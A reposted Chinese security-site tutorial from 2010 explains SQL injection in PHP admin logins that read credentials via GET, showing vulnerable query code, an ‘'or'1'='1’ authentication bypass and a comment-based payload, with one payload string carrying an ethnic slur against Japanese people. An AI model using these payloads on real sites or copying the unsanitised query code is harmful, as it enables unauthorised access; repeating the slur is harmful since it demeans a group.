欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

php后台注入与安全

来源:转载 作者:佚名 时间:2010-05-24 TAG: 我要投稿
作者:Julie_nana
来自:Shudoo{S.G.}
php以其跨平台的优越性著称。很多网站采用php编写。因为没有像asp那么多的入侵工具,很多人对php的后台并不重视。
我发现很多的get方式登录的后台,但他们大多都不安全。
我们看一个php登陆代码(GET):
  1. $conn=mysql_connect("ip","name","pass");
  2. //连接数据库信息
  3. $query="select uid from admin where adminname='$_get["adminname"]'
  4. "and password ='$_get["password"]'";
  5. //判断get来的是否正确
  6. $result=mysql_query($query);
复制代码

既然是GET,当我们的登录名是nm,密码是pa,php源:
  1. select uid from admin where adminname='nm'
  2. and password ='pa';
复制代码

地址栏就成了:
adminlogin.php?adminname=nm&password=bar

如果在地址栏后面加'or'1'='1
原来的地址就成了:
adminlogin.php?adminname=nm&password=bar'or'1'='1

再回来看源:
  1. select uid from admin where adminname='nm'
  2. and password ='pa'or'1'='1';
复制代码

一次php完美的简单注射就完成了。
其实xss的攻击思想和这个是十分相似的。不知道大家明白了SQL注射没有。所以并不建议大家用get方式接收后台登录验证信息。
我的博客是用get方式请求显示后台登陆,但是验证信息获取并不靠get

这是一次我搞的安全活动的内容:
admin_login.php是后台管理入口,页面有两个表单:管理名和密码。
在原始代码中对应的变量分别是$admin_name和$admin_pass,登录验证代码为:
  1. select * from administrator
  2. where adminname = '$_GET[admin_name]' and admin_pass = '$_GET[admin_pass]'
复制代码

这时我在两个表单分别填写:
admin'/*hacking by Juliet!
japanese all are dogs*/'
结果我就进了管理后台了。请问原因是什么?
提示:答案共分三个要点,数据库,原始页面,和php程序本身。

后来评出来的标准答案:
原始的表单应该有类似下边的代码:
  1. <FORM ACTION=“admin_login.php” METHOD=“get”>
  2. <INPUT TYPE=“text” NAME=“admin_name” VALUE=“”></INPUT>
  3. <INPUT TYPE=“password” NAME=“admin_pass” VALUE=“”></INPUT>
  4. ……
复制代码

当输入表单提交以后,浏览器的地址栏就会出现“admin_login.php?admin_name=admin&admin_pass=password“(假如输入的是admin和password)。这些都表明表单是通过get方式来提交的。
由于admin_login.php没有对敏感字符进行过滤,直接将变量带入SQL语句中验证,结果造成SQL注入漏洞,当提交“admin'/*hacking by Juliet!”和“japanese all are dogs*/'”之后,SQL语句就变成
  1. select * from administrator
  2. where adminname = 'admin'/*hacking by Juliet!' and admin_pass = 'japanese all are dogs*/''
复制代码

由于"/*"在SQL语法中表示的是注释,结果后边密码比较的部分就被注释掉,实际执行的SQL语句为:
  1. select * from administrator
  2. where adminname = 'admin'
复制代码

结果,只要数据库中的administrator表中存在admin这个用户名就可以直接进入后台了。如果没有这个用户名的话,那么就不能进入后台
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载